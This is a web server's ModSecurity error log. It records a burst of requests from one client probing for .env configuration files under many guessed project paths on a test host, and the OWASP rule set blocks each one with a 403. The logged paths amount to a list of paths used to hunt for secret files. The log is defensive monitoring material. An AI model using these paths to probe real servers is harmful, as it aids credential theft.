[Thu Feb 26 01:03:18.325797 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/__tests__/__fixtures__/typescriptvisualizeproject/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/typeScriptVisualizeProject/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlICAAAAAQ&quot;]
[Thu Feb 26 01:03:18.326097 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/typeScriptVisualizeProject/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlICAAAAAQ&quot;]
[Thu Feb 26 01:03:18.326273 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/typeScriptVisualizeProject/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlICAAAAAQ&quot;]
[Thu Feb 26 01:03:18.329030 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/gameprovider-service/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/gameprovider-service/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjloQAAAAI&quot;]
[Thu Feb 26 01:03:18.329291 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/gameprovider-service/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjloQAAAAI&quot;]
[Thu Feb 26 01:03:18.329464 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/gameprovider-service/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjloQAAAAI&quot;]
[Thu Feb 26 01:03:18.354278 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/main/front-end/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/main/front-end/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlogAAAAI&quot;]
[Thu Feb 26 01:03:18.354596 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/main/front-end/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlogAAAAI&quot;]
[Thu Feb 26 01:03:18.354784 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/main/front-end/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlogAAAAI&quot;]
[Thu Feb 26 01:03:18.378953 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/main/resources/archetype-resources/__rootartifactid__-acceptance-test/src/test/resources/app-launcher-tile/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/main/resources/archetype-resources/__rootArtifactId__-acceptance-test/src/test/resources/app-launcher-tile/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlowAAAAI&quot;]
[Thu Feb 26 01:03:18.379257 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/main/resources/archetype-resources/__rootArtifactId__-acceptance-test/src/test/resources/app-launcher-tile/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlowAAAAI&quot;]
[Thu Feb 26 01:03:18.379436 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/main/resources/archetype-resources/__rootArtifactId__-acceptance-test/src/test/resources/app-launcher-tile/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlowAAAAI&quot;]
[Thu Feb 26 01:03:18.387189 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/add-auth/express/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/add-auth/express/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlICQAAAAQ&quot;]
[Thu Feb 26 01:03:18.387602 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/add-auth/express/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlICQAAAAQ&quot;]
[Thu Feb 26 01:03:18.387838 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/add-auth/express/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlICQAAAAQ&quot;]
[Thu Feb 26 01:03:18.411511 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/renderer/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/renderer/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlpAAAAAI&quot;]
[Thu Feb 26 01:03:18.411779 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/renderer/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlpAAAAAI&quot;]
[Thu Feb 26 01:03:18.411985 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/renderer/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlpAAAAAI&quot;]
[Thu Feb 26 01:03:18.416939 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/assembly/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/assembly/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlICgAAAAQ&quot;]
[Thu Feb 26 01:03:18.417185 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/assembly/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlICgAAAAQ&quot;]
[Thu Feb 26 01:03:18.417378 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/assembly/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlICgAAAAQ&quot;]
[Thu Feb 26 01:03:18.451732 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /srv6_controller/controller/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/srv6_controller/controller/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlpQAAAAI&quot;]
[Thu Feb 26 01:03:18.452044 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/srv6_controller/controller/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlpQAAAAI&quot;]
[Thu Feb 26 01:03:18.452227 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/srv6_controller/controller/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlpQAAAAI&quot;]
[Thu Feb 26 01:03:18.452246 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/character-service/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/character-service/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlICwAAAAQ&quot;]
[Thu Feb 26 01:03:18.452507 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/character-service/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlICwAAAAQ&quot;]
[Thu Feb 26 01:03:18.452684 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/character-service/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlICwAAAAQ&quot;]
[Thu Feb 26 01:03:18.502905 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /srv6_controller/examples/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/srv6_controller/examples/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlpgAAAAI&quot;]
[Thu Feb 26 01:03:18.503209 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/srv6_controller/examples/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlpgAAAAI&quot;]
[Thu Feb 26 01:03:18.503410 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/srv6_controller/examples/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlpgAAAAI&quot;]
[Thu Feb 26 01:03:18.509596 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/client/mobile/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/client/mobile/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIDAAAAAQ&quot;]
[Thu Feb 26 01:03:18.509987 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/client/mobile/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIDAAAAAQ&quot;]
